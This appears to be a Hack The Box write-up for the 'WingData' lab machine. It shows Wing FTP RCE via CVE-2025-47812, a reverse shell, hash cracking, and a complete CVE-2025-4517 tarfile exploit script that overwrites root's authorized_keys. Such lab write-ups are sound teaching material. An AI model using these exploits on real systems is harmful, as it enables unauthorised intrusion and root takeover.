Hackthebox: WingData

Foued SAIDI Lv5

Overview

WingData is an easy-difficulty Linux machine from Hack The Box that starts with a client portal redirecting us to a Wing FTP Server v7.4.3 instance living on a virtual host. That version is vulnerable to CVE-2025-47812, a null-byte command injection in loginok.html that grants us remote code execution as the wingftp user. From that foothold we read the Wing FTP user database and pull the salted SHA256 hash of the wacky account, which we crack with hashcat’s mode 1410 to recover valid SSH credentials. As wacky we find a passwordless sudo entry running a Python backup-restore script that extracts tarballs with the supposedly “safe” filter="data" mode. We abuse CVE-2025-4517, a PATH_MAX/realpath() bypass of that very filter, by crafting a malicious tar that overflows the path length and chains symlinks and hardlinks to overwrite /root/.ssh/authorized_keys with our own key, giving us a clean SSH login as root.

WingData-info-card
WingData-info-card

Reconnaissance

We kick things off with our usual full nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), Linux 5.0 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The usual pair: SSH on 22 and an Apache web server on 80 that redirects us to wingdata.htb, so we add that to our /etc/hosts.

Web Enumeration - Wing FTP Server

Browsing to wingdata.htb and clicking on the Client Portal link redirects us to ftp.wingdata.htb, so we add this virtual host to our /etc/hosts as well. Once there, we can see the software banner telling us exactly what we’re dealing with:

1
FTP server software powered by **[Wing FTP Server v7.4.3](https://www.wftpserver.com/)**

Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812, a null-byte handling flaw in loginok.html that allows unauthenticated Lua/command injection leading to remote code execution. There’s a handy PoC we can use:

4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)

Foothold - CVE-2025-47812 (Wing FTP RCE)

The PoC works by leaking a session UID from loginok.html and then executing our command through dir.html. Let’s confirm code execution with a simple id:

1
2
3
4
5
6
7
8
9
10
11
$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c id

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'id' and username: 'anonymous'
[+] UID extracted: 0ed117c8bd2e826a1759226f65bd715df528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 0ed117c8bd2e826a1759226f65bd715df528764d624db129b32c21fbca0cb8d6

--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
----------------------

We have RCE as the wingftp user. Now let’s upgrade this into a proper interactive shell by pushing a reverse shell payload through the same exploit and catching it on our listener:

1
2
3
4
5
6
7
8
$ rlwrap nc -lvnp 9001     
listening on [any] 9001 ...
connect to [10.10.16.37] from (UNKNOWN) [10.129.10.233] 43648
can't access tty; job control turned off
$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
$

Looting the Wing FTP user database

Wing FTP stores each account’s configuration — including its password hash — as an XML file under /opt/wftpserver/Data/1/users/. Let’s read the wacky account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
$ cat /opt/wftpserver/Data/1/users/wacky.xml
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>wacky</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<ProtocolType>63</ProtocolType>
<EnableExpire>0</EnableExpire>
<ExpireTime>2025-12-02 12:02:46</ExpireTime>
<MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
<MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
<MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
<MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
<SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
<SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
<MaxConnection>0</MaxConnection>
<ConnectionPerIp>0</ConnectionPerIp>
<PasswordLength>0</PasswordLength>
<ShowHiddenFile>0</ShowHiddenFile>
<CanChangePassword>0</CanChangePassword>
<CanSendMessageToServer>0</CanSendMessageToServer>
<EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
<SSHPublicKeyPath></SSHPublicKeyPath>
<SSHAuthMethod>0</SSHAuthMethod>
<EnableWeblink>1</EnableWeblink>
<EnableUplink>1</EnableUplink>
<EnableTwoFactor>0</EnableTwoFactor>
<TwoFactorCode></TwoFactorCode>
<ExtraInfo></ExtraInfo>
<CurrentCredit>0</CurrentCredit>
<RatioDownload>1</RatioDownload>
<RatioUpload>1</RatioUpload>
<RatioCountMethod>0</RatioCountMethod>
<EnableRatio>0</EnableRatio>
<MaxQuota>0</MaxQuota>
<CurrentQuota>0</CurrentQuota>
<EnableQuota>0</EnableQuota>
<NotesName></NotesName>
<NotesAddress></NotesAddress>
<NotesZipCode></NotesZipCode>
<NotesPhone></NotesPhone>
<NotesFax></NotesFax>
<NotesEmail></NotesEmail>
<NotesMemo></NotesMemo>
<EnableUploadLimit>0</EnableUploadLimit>
<CurLimitUploadSize>0</CurLimitUploadSize>
<MaxLimitUploadSize>0</MaxLimitUploadSize>
<EnableDownloadLimit>0</EnableDownloadLimit>
<CurLimitDownloadLimit>0</CurLimitDownloadLimit>
<MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
<LimitResetType>0</LimitResetType>
<LimitResetTime>1762103089</LimitResetTime>
<TotalReceivedBytes>0</TotalReceivedBytes>
<TotalSentBytes>0</TotalSentBytes>
<LoginCount>2</LoginCount>
<FileDownload>0</FileDownload>
<FileUpload>0</FileUpload>
<FailedDownload>0</FailedDownload>
<FailedUpload>0</FailedUpload>
<LastLoginIp>127.0.0.1</LastLoginIp>
<LastLoginTime>2025-11-02 12:28:52</LastLoginTime>
<EnableSchedule>0</EnableSchedule>
</USER>
</USER_ACCOUNTS>
$

We grab the <Password> value, a SHA256 hash: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca.

Cracking the hash

Wing FTP salts its SHA256 hashes with the username, which corresponds to hashcat mode 1410 (sha256($pass.$salt)). We feed it the hash together with the WingFTP salt and let rockyou do the work:

1
$ hashcat -m 1410 hash /usr/share/wordlists/rockyou.txt

And it cracks almost instantly:

1
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

User flag - SSH as wacky

The recovered password !#7Blushing^*Bride5 is reused for SSH, so we log straight in as wacky and grab the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ssh [email protected]              
The authenticity of host 'wingdata.htb (10.129.10.233)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 18 03:20:57 2026 from 10.10.16.37
wacky@wingdata:~$ cat user.txt
b673948286291fda0d0a61032205ab13
wacky@wingdata:~$

Privilege Escalation - CVE-2025-4517 (tarfile filter bypass)

First thing on any new user, we check our sudo rights and read the script we’re allowed to run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)

args = parser.parse_args()

if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)

if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)

tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)

if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)

staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")

os.makedirs(staging_dir, exist_ok=True)

try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)

if __name__ == "__main__":
main()
wacky@wingdata:~$

Reading the script, its logic is straightforward:

The script: 1. Takes a tar file from the backups directory 2. Extracts it to a staging directory 3. Uses filter="data" which is Python’s “safe” extraction mode

The filter="data" option was added in Python 3.12 to prevent tar extraction attacks like path traversal. Sounds secure, right?

That’s exactly the security control we need to defeat, and it turns out this filter has its own vulnerability: CVE-2025-4517.

StealthByte0/CVE-2025-4517-poc: CVE-2025-4517 (CVSS 9.4 – Critical) A vulnerability in Python’s tarfile

Here’s where it gets fun. There’s a vulnerability (CVE-2025-4517 / GHSA-hgqp-3mmf-7h8f) affecting Python 3.12.0 through 3.12.10. The bug: When Python’s os.path.realpath() tries to resolve a path longer than PATH_MAX (4096 bytes on Linux), it silently fails instead of raising an error. The filter="data" security check uses realpath() to validate paths, so if we can make it fail, we bypass the security! ### The Exploit The trick is to create a tar file with: 1. A bunch of directories with really long names (247 characters each) 2. Symlinks at each level that point to these long directories 3. A final symlink that, when resolved, exceeds 4096 characters 4. Use this to escape the extraction directory and write anywhere we want

Putting it all together: we build a malicious backup_1001.tar that overflows PATH_MAX to disable the data filter, then chains an escape symlink plus a hardlink so that the final regular-file write lands on /root/.ssh/authorized_keys — implanting our own SSH public key. We build the tar locally, scp it into the backups directory, and once extraction has been triggered on the box we log in as root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
┌──(kali㉿kali)-[~/CVE-2025-47812-poc]
└─$ cat exploit.py
import tarfile
import os
import io

comp = 'd' * 247 # Long directory name
steps = "abcdefghijklmnop" # 16 levels
path = ""

with tarfile.open("backup_1001.tar", mode="w") as tar:
# Create the long path structure
for i in steps:
# Create directory with long name
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)

# Create symlink pointing to it
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)

# Create the "overflow" symlink - this is where the magic happens
# When resolved, this path exceeds PATH_MAX!
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps) # Points back to extraction root
tar.addfile(l)

# Symlink that escapes to /root/.ssh/authorized_keys
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../root/.ssh/authorized_keys"
tar.addfile(e)

# Hardlink to our escape symlink
f = tarfile.TarInfo("flaglink")
f.type = tarfile.LNKTYPE
f.linkname = "escape"
tar.addfile(f)

# Finally, overwrite with our SSH key!
content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII9E7oBpZl3zh3Bfz0W90hAZmbKzRrwbI3DVbQ44kQFZ kali@kali\n"
c = tarfile.TarInfo("flaglink")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))

┌──(kali㉿kali)-[~/CVE-2025-47812-poc]
└─$ python3 exploit.py

┌──(kali㉿kali)-[~/CVE-2025-47812-poc]
└─$ ls
2025-07-01_18-22.png backup_1001.tar CVE-2025-47812.py exploit.py hash LICENSE README.md

┌──(kali㉿kali)-[~/CVE-2025-47812-poc]
└─$ scp backup_1001.tar [email protected]:/opt/backup_clients/backups/

The authenticity of host '10.129.10.233 (10.129.10.233)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:21: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.10.233' (ED25519) to the list of known hosts.
[email protected]'s password:
backup_1001.tar 100% 110KB 56.3KB/s 00:01


┌──(kali㉿kali)-[~/CVE-2025-47812-poc]
└─$ ssh [email protected] -i ../.ssh/id_ed25519
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 18 03:27:07 2026 from 10.10.16.37
root@wingdata:~# cat /root/root.txt
9a08e19b20f6ae9372e62687f7e4a084
root@wingdata:~#

The piece that actually triggers the extraction is the sudoers-allowed restore script, which we run on the target as wacky. Because our tar defeats the filter="data" check, root happily follows our symlink/hardlink chain and writes our SSH key into /root/.ssh/authorized_keys:

1
2
3
4
5
wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_pwned
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwned
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwned

With our public key implanted, SSH-ing in as root with our private key hands us that final root.txt, and the box is fully owned.

That was it for WingData, hope you enjoyed it!

-0xkujen

  • Title: Hackthebox: WingData
  • Author: Foued SAIDI
  • Created at : 2026-07-01 12:00:00
  • Updated at : 2026-07-02 20:31:06
  • Link: https://kujen5.github.io/2026/07/01/Hackthebox-WingData/
  • License: This work is licensed under CC BY-NC-SA 4.0.